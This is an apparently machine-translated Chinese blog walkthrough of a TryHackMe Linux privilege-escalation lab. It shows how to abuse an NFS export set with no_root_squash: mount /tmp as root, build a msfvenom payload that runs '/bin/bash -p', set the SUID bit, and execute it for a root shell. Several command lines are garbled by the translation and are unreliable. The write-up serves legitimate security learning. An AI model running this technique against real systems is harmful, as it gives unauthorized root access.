[tryhackme]通过滥用NFS Mount上的no_root_squash来扩大特权! Linux Privesc写入部分9

[tryhackme]通过滥用NFS Mount上的no_root_squash来扩大特权! Linux Privesc写入部分9

这次,我们将尝试“使用NFS Mount no_root_squash提升特权”。

目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc

本文是第9部分。
如果您想使用TryHackme查看Linux Privesc的写入,请检查利用历史记录文件,配置文件和重要文件的备份的电子特权

请注意,解释是破坏者。

推荐的参考书
作者:ipusiron
¥2,090 (截至2025/07/13的15:33 |亚马逊研究)
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
作者:ipusiron
¥3,850 (截至21:11在07/08/2025 |亚马逊研究)
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
作者:贾斯汀·塞茨(Justin Seitz),作者:蒂姆·阿诺德(Tim Arnold),监督者:曼塔尼·诺布塔卡(Mantani Nobutaka),翻译:arai yu,翻译:卡卡拉·hirosei(Kakara Hirosei),翻译:村上
¥3,520 (截至12:26在07/09/2025 |亚马逊研究)
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
rakuten积分销售! /
rakuten市场
\返回5%! /
雅虎购物
目录

准备

首先,使用Start Machine启动目标机器。

如果显示IP地址,则可以。

这次,由于它已升级为特权,因此我将检查一下可以通过SSH连接的位置。
如Tryhackme所示,使用“用户/密码321”连接。

┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian GNU/Linux系统是免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:星期五5月15日06:41:23 2020从192.168.1.125

NFS

通过NFS创建的文件将继承远程用户的ID。
如果用户是root且启用了根南瓜(未指定NO_ROOT_SQUASH),则ID将设置为“ Nobone”。
相反,如果禁用了根南瓜(指定了no_root_squash),请注意,您的访问权限与root相同。

默认情况下,root在客户端计算机上提出的文件请求被视为该服务器上没有人发出的文件。但是,如果选择no_root_squash,则客户端计算机上的根具有与服务器上的根相同的访问权限。

让我们检查Debian VM的NFS共享配置。

user@debian:〜$ cat /etc /enforts# /etc /exports:可能将#导出到NFS客户端的文件系统的访问控制列表。参见出口(5)。 NFSV2和NFSV3的示例:# /srv /homes hostname1(rw,sync,no_subtree_check)hostName2(ro,sync,no_subtree_check) gss/krb5i(rw,sync,fsid = 0,crossmnt,no_subtree_check)#/srv/nfs4/homes gss/krb5i(rw,no_subtree_check) *(RW,同步,不安全,NO_SUBTREE_CHECK)

您是否注意到“/tmp”中指定了no_root_squash?
接下来,我们将在“/tmp”中利用no_root_squash升级特权。

首先,让我们扎根攻击机。 (即使在目标机器上,也与root /tmp上的root相同的特权。)

┌─-(hacklab㉿hacklab) -  [〜]└─$ sudo su ssu┌isto┌─- 

接下来,在攻击机和安装 /TMP上创建一个安装点。

(root💀hacklab) -  [/home/hamclab]└─#mkdir/tmp/nfs┌-┌─-(root💀hackLab) -  [/home/home/home/hacklab]└ - #mount -o rw,vers -o rw,vers = 3 10.10.175.49:/tmp/tmp/tmp/tmp/tmp/tmp/nfs

接下来,使用MSFVENOM生成一个有效载荷,该有效载荷 /bin /bash。
生成的有效载荷将保存在 /TMP /NFS中。

┌──(root💀hacklab)-[/home/hacklab] └─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload未指定编码器,输出原始有效负载有效载荷大小:48字节的最终大小:132字节保存为:/tmp/nfs/shell.elf

授予SUID特权,以便一旦目标用户执行其运行所有者特权。 (攻击机的根被认为是目标机器的根,并且通过授予SUID特权,目标机器的其他用户也可以使用根特权运行。)

┌-(root💀hacklab) -  [/home/hacklab]└─#chmod +xs/tmp/nfs/shell.elf.elf

完成此操作后,返回目标机器并运行刚保存的shell.elf。

用户@debian:〜$ /tmp/shell.elf bash-4.1#whoami root

我成功获得了根特权。

概括

这次,我尝试了“使用NFS Mount no_root_squash的特权高程”。
最后,您是否注意到出现了使用SUID特权运行的问题?

什么是SUID许可?如果您是这样认为的,请还请参考使用SUID/SGID可执行文件的电极

参考和站点

- -

如果愿意,请分享!

谁写了这篇文章

这是我开始研究信息安全的博客。作为一名新员工,如果您能宽阔地看着,我会很高兴。
还有Teech Lab,这是一个学习编程乐趣的机会,因此,如果您对软件开发感兴趣,请务必看看!

目录